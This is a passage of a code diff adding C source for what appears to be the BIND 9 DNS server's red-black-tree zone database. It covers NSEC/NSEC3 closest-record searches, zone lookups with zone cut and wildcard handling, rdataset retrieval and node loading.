+				 * Try the previous node in the NSEC tree.
+				 */
+				result = dns_rbtnodechain_prev(nsecchain, name,
+							       origin);
+				if (result == DNS_R_NEWORIGIN) {
+					result = ISC_R_SUCCESS;
+				}
+			} else if (result == ISC_R_NOTFOUND ||
+				   result == DNS_R_PARTIALMATCH)
+			{
+				result = dns_rbtnodechain_current(
+					nsecchain, name, origin, NULL);
+				if (result == ISC_R_NOTFOUND) {
+					result = ISC_R_NOMORE;
+				}
+			}
+		} else {
+			/*
+			 * This is a second or later trip through the auxiliary
+			 * tree for the name of a third or earlier NSEC node in
+			 * the main tree.  Previous trips through the NSEC tree
+			 * must have found nodes in the main tree with NSEC
+			 * records.  Perhaps they lacked signature records.
+			 */
+			result = dns_rbtnodechain_prev(nsecchain, name, origin);
+			if (result == DNS_R_NEWORIGIN) {
+				result = ISC_R_SUCCESS;
+			}
+		}
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+
+		/*
+		 * Construct the name to seek in the main tree.
+		 */
+		result = dns_name_concatenate(name, origin, target, NULL);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+
+		*nodep = NULL;
+		result = dns_rbt_findnode(search->rbtdb->tree, target, NULL,
+					  nodep, &search->chain,
+					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+		if (result == ISC_R_SUCCESS) {
+			return (result);
+		}
+
+		/*
+		 * There should always be a node in the main tree with the
+		 * same name as the node in the auxiliary NSEC tree, except for
+		 * nodes in the auxiliary tree that are awaiting deletion.
+		 */
+		if (result != DNS_R_PARTIALMATCH && result != ISC_R_NOTFOUND) {
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
+				      DNS_LOGMODULE_CACHE, ISC_LOG_ERROR,
+				      "previous_closest_nsec(): %s",
+				      isc_result_totext(result));
+			return (DNS_R_BADDB);
+		}
+	}
+}
+
+/*
+ * Find the NSEC/NSEC3 which is or before the current point on the
+ * search chain.  For NSEC3 records only NSEC3 records that match the
+ * current NSEC3PARAM record are considered.
+ */
+static isc_result_t
+find_closest_nsec(rbtdb_search_t *search, dns_dbnode_t **nodep,
+		  dns_name_t *foundname, dns_rdataset_t *rdataset,
+		  dns_rdataset_t *sigrdataset, dns_rbt_t *tree,
+		  bool secure DNS__DB_FLARG) {
+	dns_rbtnode_t *node = NULL, *prevnode = NULL;
+	dns_slabheader_t *header = NULL, *header_next = NULL;
+	dns_rbtnodechain_t nsecchain;
+	bool empty_node;
+	isc_result_t result;
+	dns_fixedname_t fname, forigin;
+	dns_name_t *name = NULL, *origin = NULL;
+	dns_rdatatype_t type;
+	dns_typepair_t sigtype;
+	bool wraps;
+	bool first = true;
+	bool need_sig = secure;
+
+	if (tree == search->rbtdb->nsec3) {
+		type = dns_rdatatype_nsec3;
+		sigtype = RBTDB_RDATATYPE_SIGNSEC3;
+		wraps = true;
+	} else {
+		type = dns_rdatatype_nsec;
+		sigtype = RBTDB_RDATATYPE_SIGNSEC;
+		wraps = false;
+	}
+
+	/*
+	 * Use the auxiliary tree only starting with the second node in the
+	 * hope that the original node will be right much of the time.
+	 */
+	name = dns_fixedname_initname(&fname);
+	origin = dns_fixedname_initname(&forigin);
+again:
+	node = NULL;
+	prevnode = NULL;
+	result = dns_rbtnodechain_current(&search->chain, name, origin, &node);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+	do {
+		dns_slabheader_t *found = NULL, *foundsig = NULL;
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		NODE_RDLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		empty_node = true;
+		for (header = node->data; header != NULL; header = header_next)
+		{
+			header_next = header->next;
+			/*
+			 * Look for an active, extant NSEC or RRSIG NSEC.
+			 */
+			do {
+				if (header->serial <= search->serial &&
+				    !IGNORE(header))
+				{
+					/*
+					 * Is this a "this rdataset doesn't
+					 * exist" record?
+					 */
+					if (NONEXISTENT(header)) {
+						header = NULL;
+					}
+					break;
+				} else {
+					header = header->down;
+				}
+			} while (header != NULL);
+			if (header != NULL) {
+				/*
+				 * We now know that there is at least one
+				 * active rdataset at this node.
+				 */
+				empty_node = false;
+				if (header->type == type) {
+					found = header;
+					if (foundsig != NULL) {
+						break;
+					}
+				} else if (header->type == sigtype) {
+					foundsig = header;
+					if (found != NULL) {
+						break;
+					}
+				}
+			}
+		}
+		if (!empty_node) {
+			if (found != NULL && search->rbtversion->havensec3 &&
+			    found->type == dns_rdatatype_nsec3 &&
+			    !matchparams(found, search))
+			{
+				empty_node = true;
+				found = NULL;
+				foundsig = NULL;
+				result = previous_closest_nsec(
+					type, search, name, origin, &prevnode,
+					NULL, NULL);
+			} else if (found != NULL &&
+				   (foundsig != NULL || !need_sig))
+			{
+				/*
+				 * We've found the right NSEC/NSEC3 record.
+				 *
+				 * Note: for this to really be the right
+				 * NSEC record, it's essential that the NSEC
+				 * records of any nodes obscured by a zone
+				 * cut have been removed; we assume this is
+				 * the case.
+				 */
+				result = dns_name_concatenate(name, origin,
+							      foundname, NULL);
+				if (result == ISC_R_SUCCESS) {
+					if (nodep != NULL) {
+						dns__rbtdb_newref(
+							search->rbtdb, node,
+							isc_rwlocktype_read
+								DNS__DB_FLARG_PASS);
+						*nodep = node;
+					}
+					dns__rbtdb_bindrdataset(
+						search->rbtdb, node, found,
+						search->now,
+						isc_rwlocktype_read,
+						rdataset DNS__DB_FLARG_PASS);
+					if (foundsig != NULL) {
+						dns__rbtdb_bindrdataset(
+							search->rbtdb, node,
+							foundsig, search->now,
+							isc_rwlocktype_read,
+							sigrdataset
+								DNS__DB_FLARG_PASS);
+					}
+				}
+			} else if (found == NULL && foundsig == NULL) {
+				/*
+				 * This node is active, but has no NSEC or
+				 * RRSIG NSEC.  That means it's glue or
+				 * other obscured zone data that isn't
+				 * relevant for our search.  Treat the
+				 * node as if it were empty and keep looking.
+				 */
+				empty_node = true;
+				result = previous_closest_nsec(
+					type, search, name, origin, &prevnode,
+					&nsecchain, &first);
+			} else {
+				/*
+				 * We found an active node, but either the
+				 * NSEC or the RRSIG NSEC is missing.  This
+				 * shouldn't happen.
+				 */
+				result = DNS_R_BADDB;
+			}
+		} else {
+			/*
+			 * This node isn't active.  We've got to keep
+			 * looking.
+			 */
+			result = previous_closest_nsec(type, search, name,
+						       origin, &prevnode,
+						       &nsecchain, &first);
+		}
+		NODE_UNLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		node = prevnode;
+		prevnode = NULL;
+	} while (empty_node && result == ISC_R_SUCCESS);
+
+	if (!first) {
+		dns_rbtnodechain_invalidate(&nsecchain);
+	}
+
+	if (result == ISC_R_NOMORE && wraps) {
+		result = dns_rbtnodechain_last(&search->chain, tree, NULL,
+					       NULL);
+		if (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
+			wraps = false;
+			goto again;
+		}
+	}
+
+	/*
+	 * If the result is ISC_R_NOMORE, then we got to the beginning of
+	 * the database and didn't find a NSEC record.  This shouldn't
+	 * happen.
+	 */
+	if (result == ISC_R_NOMORE) {
+		result = DNS_R_BADDB;
+	}
+
+	return (result);
+}
+
+static isc_result_t
+zone_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
+	  dns_rdatatype_t type, unsigned int options,
+	  isc_stdtime_t now ISC_ATTR_UNUSED, dns_dbnode_t **nodep,
+	  dns_name_t *foundname, dns_rdataset_t *rdataset,
+	  dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_rbtnode_t *node = NULL;
+	isc_result_t result;
+	rbtdb_search_t search;
+	bool cname_ok = true;
+	bool close_version = false;
+	bool maybe_zonecut = false;
+	bool at_zonecut = false;
+	bool wild = false;
+	bool empty_node;
+	dns_slabheader_t *header = NULL, *header_next = NULL;
+	dns_slabheader_t *found = NULL, *nsecheader = NULL;
+	dns_slabheader_t *foundsig = NULL, *cnamesig = NULL, *nsecsig = NULL;
+	dns_typepair_t sigtype;
+	bool active;
+	isc_rwlock_t *lock = NULL;
+	dns_rbt_t *tree = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+
+	REQUIRE(VALID_RBTDB((dns_rbtdb_t *)db));
+	INSIST(version == NULL ||
+	       ((dns_rbtdb_version_t *)version)->rbtdb == (dns_rbtdb_t *)db);
+
+	/*
+	 * If the caller didn't supply a version, attach to the current
+	 * version.
+	 */
+	if (version == NULL) {
+		dns__rbtdb_currentversion(db, &version);
+		close_version = true;
+	}
+
+	search = (rbtdb_search_t){
+		.rbtdb = (dns_rbtdb_t *)db,
+		.rbtversion = version,
+		.serial = ((dns_rbtdb_version_t *)version)->serial,
+		.options = options,
+	};
+	dns_fixedname_init(&search.zonecut_name);
+	dns_rbtnodechain_init(&search.chain);
+
+	TREE_RDLOCK(&search.rbtdb->tree_lock, &tlocktype);
+
+	/*
+	 * Search down from the root of the tree.  If, while going down, we
+	 * encounter a callback node, zone_zonecut_callback() will search the
+	 * rdatasets at the zone cut for active DNAME or NS rdatasets.
+	 */
+	tree = (options & DNS_DBFIND_FORCENSEC3) != 0 ? search.rbtdb->nsec3
+						      : search.rbtdb->tree;
+	result = dns_rbt_findnode(tree, name, foundname, &node, &search.chain,
+				  DNS_RBTFIND_EMPTYDATA, zone_zonecut_callback,
+				  &search);
+
+	if (result == DNS_R_PARTIALMATCH) {
+	partial_match:
+		if (search.zonecut != NULL) {
+			result = setup_delegation(
+				&search, nodep, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			goto tree_exit;
+		}
+
+		if (search.wild) {
+			/*
+			 * At least one of the levels in the search chain
+			 * potentially has a wildcard.  For each such level,
+			 * we must see if there's a matching wildcard active
+			 * in the current version.
+			 */
+			result = find_wildcard(&search, &node, name);
+			if (result == ISC_R_SUCCESS) {
+				dns_name_copy(name, foundname);
+				wild = true;
+				goto found;
+			} else if (result != ISC_R_NOTFOUND) {
+				goto tree_exit;
+			}
+		}
+
+		active = false;
+		if ((options & DNS_DBFIND_FORCENSEC3) == 0) {
+			/*
+			 * The NSEC3 tree won't have empty nodes,
+			 * so it isn't necessary to check for them.
+			 */
+			dns_rbtnodechain_t chain = search.chain;
+			active = activeempty(&search, &chain, name);
+		}
+
+		/*
+		 * If we're here, then the name does not exist, is not
+		 * beneath a zonecut, and there's no matching wildcard.
+		 */
+		if ((search.rbtversion->secure &&
+		     !search.rbtversion->havensec3) ||
+		    (search.options & DNS_DBFIND_FORCENSEC3) != 0)
+		{
+			result = find_closest_nsec(
+				&search, nodep, foundname, rdataset,
+				sigrdataset, tree,
+				search.rbtversion->secure DNS__DB_FLARG_PASS);
+			if (result == ISC_R_SUCCESS) {
+				result = active ? DNS_R_EMPTYNAME
+						: DNS_R_NXDOMAIN;
+			}
+		} else {
+			result = active ? DNS_R_EMPTYNAME : DNS_R_NXDOMAIN;
+		}
+		goto tree_exit;
+	} else if (result != ISC_R_SUCCESS) {
+		goto tree_exit;
+	}
+
+found:
+	/*
+	 * We have found a node whose name is the desired name, or we
+	 * have matched a wildcard.
+	 */
+
+	if (search.zonecut != NULL) {
+		/*
+		 * If we're beneath a zone cut, we don't want to look for
+		 * CNAMEs because they're not legitimate zone glue.
+		 */
+		cname_ok = false;
+	} else {
+		/*
+		 * The node may be a zone cut itself.  If it might be one,
+		 * make sure we check for it later.
+		 *
+		 * DS records live above the zone cut in ordinary zone so
+		 * we want to ignore any referral.
+		 *
+		 * Stub zones don't have anything "above" the delegation so
+		 * we always return a referral.
+		 */
+		if (node->find_callback &&
+		    ((node != search.rbtdb->origin_node &&
+		      !dns_rdatatype_atparent(type)) ||
+		     IS_STUB(search.rbtdb)))
+		{
+			maybe_zonecut = true;
+		}
+	}
+
+	/*
+	 * Certain DNSSEC types are not subject to CNAME matching
+	 * (RFC4035, section 2.5 and RFC3007).
+	 *
+	 * We don't check for RRSIG, because we don't store RRSIG records
+	 * directly.
+	 */
+	if (type == dns_rdatatype_key || type == dns_rdatatype_nsec) {
+		cname_ok = false;
+	}
+
+	/*
+	 * We now go looking for rdata...
+	 */
+
+	lock = &search.rbtdb->node_locks[node->locknum].lock;
+	NODE_RDLOCK(lock, &nlocktype);
+
+	found = NULL;
+	foundsig = NULL;
+	sigtype = DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, type);
+	nsecheader = NULL;
+	nsecsig = NULL;
+	cnamesig = NULL;
+	empty_node = true;
+	for (header = node->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		/*
+		 * Look for an active, extant rdataset.
+		 */
+		do {
+			if (header->serial <= search.serial && !IGNORE(header))
+			{
+				/*
+				 * Is this a "this rdataset doesn't
+				 * exist" record?
+				 */
+				if (NONEXISTENT(header)) {
+					header = NULL;
+				}
+				break;
+			} else {
+				header = header->down;
+			}
+		} while (header != NULL);
+		if (header != NULL) {
+			/*
+			 * We now know that there is at least one active
+			 * rdataset at this node.
+			 */
+			empty_node = false;
+
+			/*
+			 * Do special zone cut handling, if requested.
+			 */
+			if (maybe_zonecut && header->type == dns_rdatatype_ns) {
+				/*
+				 * We increment the reference count on node to
+				 * ensure that search->zonecut_header will
+				 * still be valid later.
+				 */
+				dns__rbtdb_newref(search.rbtdb, node,
+						  nlocktype DNS__DB_FLARG_PASS);
+				search.zonecut = node;
+				search.zonecut_header = header;
+				search.zonecut_sigheader = NULL;
+				search.need_cleanup = true;
+				maybe_zonecut = false;
+				at_zonecut = true;
+				/*
+				 * It is not clear if KEY should still be
+				 * allowed at the parent side of the zone
+				 * cut or not.  It is needed for RFC3007
+				 * validated updates.
+				 */
+				if ((search.options & DNS_DBFIND_GLUEOK) == 0 &&
+				    type != dns_rdatatype_nsec &&
+				    type != dns_rdatatype_key)
+				{
+					/*
+					 * Glue is not OK, but any answer we
+					 * could return would be glue.  Return
+					 * the delegation.
+					 */
+					found = NULL;
+					break;
+				}
+				if (found != NULL && foundsig != NULL) {
+					break;
+				}
+			}
+
+			/*
+			 * If the NSEC3 record doesn't match the chain
+			 * we are using behave as if it isn't here.
+			 */
+			if (header->type == dns_rdatatype_nsec3 &&
+			    !matchparams(header, &search))
+			{
+				NODE_UNLOCK(lock, &nlocktype);
+				goto partial_match;
+			}
+			/*
+			 * If we found a type we were looking for,
+			 * remember it.
+			 */
+			if (header->type == type || type == dns_rdatatype_any ||
+			    (header->type == dns_rdatatype_cname && cname_ok))
+			{
+				/*
+				 * We've found the answer!
+				 */
+				found = header;
+				if (header->type == dns_rdatatype_cname &&
+				    cname_ok)
+				{
+					/*
+					 * We may be finding a CNAME instead
+					 * of the desired type.
+					 *
+					 * If we've already got the CNAME RRSIG,
+					 * use it, otherwise change sigtype
+					 * so that we find it.
+					 */
+					if (cnamesig != NULL) {
+						foundsig = cnamesig;
+					} else {
+						sigtype =
+							RBTDB_RDATATYPE_SIGCNAME;
+					}
+				}
+				/*
+				 * If we've got all we need, end the search.
+				 */
+				if (!maybe_zonecut && foundsig != NULL) {
+					break;
+				}
+			} else if (header->type == sigtype) {
+				/*
+				 * We've found the RRSIG rdataset for our
+				 * target type.  Remember it.
+				 */
+				foundsig = header;
+				/*
+				 * If we've got all we need, end the search.
+				 */
+				if (!maybe_zonecut && found != NULL) {
+					break;
+				}
+			} else if (header->type == dns_rdatatype_nsec &&
+				   !search.rbtversion->havensec3)
+			{
+				/*
+				 * Remember a NSEC rdataset even if we're
+				 * not specifically looking for it, because
+				 * we might need it later.
+				 */
+				nsecheader = header;
+			} else if (header->type == RBTDB_RDATATYPE_SIGNSEC &&
+				   !search.rbtversion->havensec3)
+			{
+				/*
+				 * If we need the NSEC rdataset, we'll also
+				 * need its signature.
+				 */
+				nsecsig = header;
+			} else if (cname_ok &&
+				   header->type == RBTDB_RDATATYPE_SIGCNAME)
+			{
+				/*
+				 * If we get a CNAME match, we'll also need
+				 * its signature.
+				 */
+				cnamesig = header;
+			}
+		}
+	}
+
+	if (empty_node) {
+		/*
+		 * We have an exact match for the name, but there are no
+		 * active rdatasets in the desired version.  That means that
+		 * this node doesn't exist in the desired version, and that
+		 * we really have a partial match.
+		 */
+		if (!wild) {
+			NODE_UNLOCK(lock, &nlocktype);
+			goto partial_match;
+		}
+	}
+
+	/*
+	 * If we didn't find what we were looking for...
+	 */
+	if (found == NULL) {
+		if (search.zonecut != NULL) {
+			/*
+			 * We were trying to find glue at a node beneath a
+			 * zone cut, but didn't.
+			 *
+			 * Return the delegation.
+			 */
+			NODE_UNLOCK(lock, &nlocktype);
+			result = setup_delegation(
+				&search, nodep, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			goto tree_exit;
+		}
+		/*
+		 * The desired type doesn't exist.
+		 */
+		result = DNS_R_NXRRSET;
+		if (search.rbtversion->secure &&
+		    !search.rbtversion->havensec3 &&
+		    (nsecheader == NULL || nsecsig == NULL))
+		{
+			/*
+			 * The zone is secure but there's no NSEC,
+			 * or the NSEC has no signature!
+			 */
+			if (!wild) {
+				result = DNS_R_BADDB;
+				goto node_exit;
+			}
+
+			NODE_UNLOCK(lock, &nlocktype);
+			result = find_closest_nsec(
+				&search, nodep, foundname, rdataset,
+				sigrdataset, search.rbtdb->tree,
+				search.rbtversion->secure DNS__DB_FLARG_PASS);
+			if (result == ISC_R_SUCCESS) {
+				result = DNS_R_EMPTYWILD;
+			}
+			goto tree_exit;
+		}
+		if (nodep != NULL) {
+			dns__rbtdb_newref(search.rbtdb, node,
+					  nlocktype DNS__DB_FLARG_PASS);
+			*nodep = node;
+		}
+		if ((search.rbtversion->secure &&
+		     !search.rbtversion->havensec3))
+		{
+			dns__rbtdb_bindrdataset(search.rbtdb, node, nsecheader,
+						0, nlocktype,
+						rdataset DNS__DB_FLARG_PASS);
+			if (nsecsig != NULL) {
+				dns__rbtdb_bindrdataset(
+					search.rbtdb, node, nsecsig, 0,
+					nlocktype,
+					sigrdataset DNS__DB_FLARG_PASS);
+			}
+		}
+		if (wild) {
+			foundname->attributes.wildcard = true;
+		}
+		goto node_exit;
+	}
+
+	/*
+	 * We found what we were looking for, or we found a CNAME.
+	 */
+
+	if (type != found->type && type != dns_rdatatype_any &&
+	    found->type == dns_rdatatype_cname)
+	{
+		/*
+		 * We weren't doing an ANY query and we found a CNAME instead
+		 * of the type we were looking for, so we need to indicate
+		 * that result to the caller.
+		 */
+		result = DNS_R_CNAME;
+	} else if (search.zonecut != NULL) {
+		/*
+		 * If we're beneath a zone cut, we must indicate that the
+		 * result is glue, unless we're actually at the zone cut
+		 * and the type is NSEC or KEY.
+		 */
+		if (search.zonecut == node) {
+			/*
+			 * It is not clear if KEY should still be
+			 * allowed at the parent side of the zone
+			 * cut or not.  It is needed for RFC3007
+			 * validated updates.
+			 */
+			if (type == dns_rdatatype_nsec ||
+			    type == dns_rdatatype_nsec3 ||
+			    type == dns_rdatatype_key)
+			{
+				result = ISC_R_SUCCESS;
+			} else if (type == dns_rdatatype_any) {
+				result = DNS_R_ZONECUT;
+			} else {
+				result = DNS_R_GLUE;
+			}
+		} else {
+			result = DNS_R_GLUE;
+		}
+	} else {
+		/*
+		 * An ordinary successful query!
+		 */
+		result = ISC_R_SUCCESS;
+	}
+
+	if (nodep != NULL) {
+		if (!at_zonecut) {
+			dns__rbtdb_newref(search.rbtdb, node,
+					  nlocktype DNS__DB_FLARG_PASS);
+		} else {
+			search.need_cleanup = false;
+		}
+		*nodep = node;
+	}
+
+	if (type != dns_rdatatype_any) {
+		dns__rbtdb_bindrdataset(search.rbtdb, node, found, 0, nlocktype,
+					rdataset DNS__DB_FLARG_PASS);
+		if (foundsig != NULL) {
+			dns__rbtdb_bindrdataset(search.rbtdb, node, foundsig, 0,
+						nlocktype,
+						sigrdataset DNS__DB_FLARG_PASS);
+		}
+	}
+
+	if (wild) {
+		foundname->attributes.wildcard = true;
+	}
+
+node_exit:
+	NODE_UNLOCK(lock, &nlocktype);
+
+tree_exit:
+	TREE_UNLOCK(&search.rbtdb->tree_lock, &tlocktype);
+
+	/*
+	 * If we found a zonecut but aren't going to use it, we have to
+	 * let go of it.
+	 */
+	if (search.need_cleanup) {
+		node = search.zonecut;
+		INSIST(node != NULL);
+		lock = &(search.rbtdb->node_locks[node->locknum].lock);
+
+		NODE_RDLOCK(lock, &nlocktype);
+		dns__rbtdb_decref(search.rbtdb, node, 0, &nlocktype, &tlocktype,
+				  true, false DNS__DB_FLARG_PASS);
+		NODE_UNLOCK(lock, &nlocktype);
+		INSIST(tlocktype == isc_rwlocktype_none);
+	}
+
+	if (close_version) {
+		dns__rbtdb_closeversion(db, &version, false DNS__DB_FLARG_PASS);
+	}
+
+	dns_rbtnodechain_reset(&search.chain);
+
+	return (result);
+}
+
+static isc_result_t
+zone_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		  dns_rdatatype_t type, dns_rdatatype_t covers,
+		  isc_stdtime_t now, dns_rdataset_t *rdataset,
+		  dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+	dns_slabheader_t *header = NULL, *header_next = NULL;
+	dns_slabheader_t *found = NULL, *foundsig = NULL;
+	uint32_t serial;
+	dns_rbtdb_version_t *rbtversion = version;
+	bool close_version = false;
+	dns_typepair_t matchtype, sigmatchtype;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(type != dns_rdatatype_any);
+	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
+
+	if (rbtversion == NULL) {
+		dns__rbtdb_currentversion(
+			db, (dns_dbversion_t **)(void *)(&rbtversion));
+		close_version = true;
+	}
+	serial = rbtversion->serial;
+	now = 0;
+
+	NODE_RDLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+
+	matchtype = DNS_TYPEPAIR_VALUE(type, covers);
+	if (covers == 0) {
+		sigmatchtype = DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, type);
+	} else {
+		sigmatchtype = 0;
+	}
+
+	for (header = rbtnode->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		do {
+			if (header->serial <= serial && !IGNORE(header)) {
+				/*
+				 * Is this a "this rdataset doesn't
+				 * exist" record?
+				 */
+				if (NONEXISTENT(header)) {
+					header = NULL;
+				}
+				break;
+			} else {
+				header = header->down;
+			}
+		} while (header != NULL);
+		if (header != NULL) {
+			/*
+			 * We have an active, extant rdataset.  If it's a
+			 * type we're looking for, remember it.
+			 */
+			if (header->type == matchtype) {
+				found = header;
+				if (foundsig != NULL) {
+					break;
+				}
+			} else if (header->type == sigmatchtype) {
+				foundsig = header;
+				if (found != NULL) {
+					break;
+				}
+			}
+		}
+	}
+	if (found != NULL) {
+		dns__rbtdb_bindrdataset(rbtdb, rbtnode, found, now,
+					isc_rwlocktype_read,
+					rdataset DNS__DB_FLARG_PASS);
+		if (foundsig != NULL) {
+			dns__rbtdb_bindrdataset(rbtdb, rbtnode, foundsig, now,
+						isc_rwlocktype_read,
+						sigrdataset DNS__DB_FLARG_PASS);
+		}
+	}
+
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+
+	if (close_version) {
+		dns__rbtdb_closeversion(
+			db, (dns_dbversion_t **)(void *)(&rbtversion),
+			false DNS__DB_FLARG_PASS);
+	}
+
+	if (found == NULL) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+static bool
+delegating_type(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, dns_typepair_t type) {
+	if (type == dns_rdatatype_dname ||
+	    (type == dns_rdatatype_ns &&
+	     (node != rbtdb->origin_node || IS_STUB(rbtdb))))
+	{
+		return (true);
+	}
+	return (false);
+}
+
+/*
+ * load a non-NSEC3 node in the main tree and optionally to the auxiliary NSEC
+ */
+static isc_result_t
+loadnode(dns_rbtdb_t *rbtdb, const dns_name_t *name, dns_rbtnode_t **nodep,
+	 bool hasnsec) {
+	isc_result_t noderesult, nsecresult, tmpresult;
+	dns_rbtnode_t *nsecnode = NULL, *node = NULL;
+
+	noderesult = dns_rbt_addnode(rbtdb->tree, name, &node);
+	if (!hasnsec) {
+		goto done;
+	}
+	if (noderesult == ISC_R_EXISTS) {
+		/*
+		 * Add a node to the auxiliary NSEC tree for an old node
+		 * just now getting an NSEC record.
+		 */
+		if (node->nsec == DNS_RBT_NSEC_HAS_NSEC) {
+			goto done;
+		}
+	} else if (noderesult != ISC_R_SUCCESS) {
+		goto done;
+	}
+
+	/*
+	 * Build the auxiliary tree for NSECs as we go.
+	 * This tree speeds searches for closest NSECs that would otherwise
+	 * need to examine many irrelevant nodes in large TLDs.
+	 *
+	 * Add nodes to the auxiliary tree after corresponding nodes have
+	 * been added to the main tree.
+	 */
+	nsecresult = dns_rbt_addnode(rbtdb->nsec, name, &nsecnode);
+	if (nsecresult == ISC_R_SUCCESS) {
+		nsecnode->nsec = DNS_RBT_NSEC_NSEC;
+		node->nsec = DNS_RBT_NSEC_HAS_NSEC;
+		goto done;
+	}
+
+	if (nsecresult == ISC_R_EXISTS) {
+#if 1 /* 0 */
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
+			      DNS_LOGMODULE_CACHE, ISC_LOG_WARNING,
+			      "addnode: NSEC node already exists");
+#endif /* if 1 */
+		node->nsec = DNS_RBT_NSEC_HAS_NSEC;
+		goto done;
+	}
+
+	if (noderesult == ISC_R_SUCCESS) {
+		/*
+		 * Remove the node we just added above.
+		 */
+		tmpresult = dns_rbt_deletenode(rbtdb->tree, node, false);
+		if (tmpresult != ISC_R_SUCCESS) {
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
+				      DNS_LOGMODULE_CACHE, ISC_LOG_WARNING,
+				      "loading_addrdataset: "
+				      "dns_rbt_deletenode: %s after "
+				      "dns_rbt_addnode(NSEC): %s",
+				      isc_result_totext(tmpresult),
+				      isc_result_totext(noderesult));
+		}
+	}
+
+	/*
+	 * Set the error condition to be returned.
+	 */
+	noderesult = nsecresult;
+
+done:
+	if (noderesult == ISC_R_SUCCESS || noderesult == ISC_R_EXISTS) {
+		*nodep = node;
+	}
+
+	return (noderesult);
+}
+
+static isc_result_t
+loading_addrdataset(void *arg, const dns_name_t *name,
+		    dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	rbtdb_load_t *loadctx = arg;
+	dns_rbtdb_t *rbtdb = loadctx->rbtdb;
+	dns_rbtnode_t *node = NULL;
+	isc_result_t result;
+	isc_region_t region;
+	dns_slabheader_t *newheader = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	REQUIRE(rdataset->rdclass == rbtdb->common.rdclass);
+
+	/*
+	 * SOA records are only allowed at top of zone.
+	 */
+	if (rdataset->type == dns_rdatatype_soa &&
+	    !dns_name_equal(name, &rbtdb->common.origin))
+	{
+		return (DNS_R_NOTZONETOP);
+	}
+
+	if (rdataset->type != dns_rdatatype_nsec3 &&
+	    rdataset->covers != dns_rdatatype_nsec3)
+	{
+		dns__zonedb_addwildcards(rbtdb, name, false);
+	}
+
+	if (dns_name_iswildcard(name)) {
+		/*
+		 * NS record owners cannot legally be wild cards.
+		 */
+		if (rdataset->type == dns_rdatatype_ns) {
+			return (DNS_R_INVALIDNS);
+		}
+		/*
+		 * NSEC3 record owners cannot legally be wild cards.
+		 */
+		if (rdataset->type == dns_rdatatype_nsec3) {
+			return (DNS_R_INVALIDNSEC3);
+		}
+		result = dns__zonedb_wildcardmagic(rbtdb, name, false);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+	}
+
+	if (rdataset->type == dns_rdatatype_nsec3 ||
+	    rdataset->covers == dns_rdatatype_nsec3)
+	{
+		result = dns_rbt_addnode(rbtdb->nsec3, name, &node);
+		if (result == ISC_R_SUCCESS) {
+			node->nsec = DNS_RBT_NSEC_NSEC3;
+		}
+	} else if (rdataset->type == dns_rdatatype_nsec) {
+		result = loadnode(rbtdb, name, &node, true);
+	} else {
+		result = loadnode(rbtdb, name, &node, false);
+	}
+	if (result != ISC_R_SUCCESS && result != ISC_R_EXISTS) {
+		return (result);
+	}
+	if (result == ISC_R_SUCCESS) {
+		node->locknum = node->hashval % rbtdb->node_lock_count;
+	}
+
+	result = dns_rdataslab_fromrdataset(rdataset, rbtdb->common.mctx,
+					    &region, sizeof(dns_slabheader_t));
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+	newheader = (dns_slabheader_t *)region.base;
+	*newheader = (dns_slabheader_t){
+		.type = DNS_TYPEPAIR_VALUE(rdataset->type, rdataset->covers),
+		.ttl = rdataset->ttl + loadctx->now,
+		.trust = rdataset->trust,
+		.node = node,
+		.serial = 1,
+		.count = 1,
+	};
+
+	dns_slabheader_reset(newheader, (dns_db_t *)rbtdb, node);
+	dns_slabheader_setownercase(newheader, name);
+
+	if ((rdataset->attributes & DNS_RDATASETATTR_RESIGN) != 0) {
+		DNS_SLABHEADER_SETATTR(newheader, DNS_SLABHEADERATTR_RESIGN);
+		newheader->resign =
+			(isc_stdtime_t)(dns_time64_from32(rdataset->resign) >>
+					1);
+		newheader->resign_lsb = rdataset->resign & 0x1;
+	}
+
+	NODE_WRLOCK(&rbtdb->node_locks[node->locknum].lock, &nlocktype);
+	result = dns__rbtdb_add(rbtdb, node, name, rbtdb->current_version,
+				newheader, DNS_DBADD_MERGE, true, NULL,
+				0 DNS__DB_FLARG_PASS);
+	NODE_UNLOCK(&rbtdb->node_locks[node->locknum].lock, &nlocktype);
+
+	if (result == ISC_R_SUCCESS &&
